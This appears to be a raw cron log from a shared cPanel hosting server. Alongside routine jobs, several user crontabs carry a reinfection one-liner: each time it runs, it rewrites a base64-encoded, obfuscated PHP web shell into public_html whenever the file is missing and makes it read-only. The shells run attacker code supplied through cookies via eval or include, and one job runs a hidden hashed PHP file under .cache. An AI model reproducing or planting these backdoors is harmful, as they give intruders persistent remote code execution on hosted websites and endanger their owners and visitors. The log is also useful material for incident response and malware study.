Mar  2 12:19:01 medusa CROND[27417]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:19:01 medusa CROND[27423]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:19:01 medusa CROND[27421]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:19:01 medusa CROND[27428]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:19:01 medusa CROND[27426]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:20:01 medusa CROND[15059]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:20:01 medusa CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:20:01 medusa CROND[15062]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:20:01 medusa CROND[15063]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15064]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15065]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:20:01 medusa CROND[15068]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:20:01 medusa CROND[15067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:20:01 medusa CROND[15073]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:20:01 medusa CROND[15076]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:20:01 medusa CROND[15066]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:20:01 medusa CROND[15079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:20:01 medusa CROND[15078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15084]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:20:01 medusa CROND[15085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15086]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:20:01 medusa CROND[15093]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:20:01 medusa CROND[15094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:20:01 medusa CROND[15102]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:20:01 medusa CROND[15097]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:20:01 medusa CROND[15087]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15109]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15112]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:20:01 medusa CROND[15090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:20:01 medusa CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 12:20:01 medusa CROND[15117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15129]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:20:01 medusa CROND[15136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:20:01 medusa CROND[15113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:21:01 medusa CROND[554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:21:01 medusa CROND[674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:21:01 medusa CROND[892]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:21:01 medusa CROND[893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:21:01 medusa CROND[896]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:21:01 medusa CROND[897]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:21:01 medusa CROND[902]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:21:01 medusa CROND[903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:21:01 medusa CROND[906]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:21:01 medusa CROND[908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:21:01 medusa CROND[909]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:21:01 medusa CROND[940]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
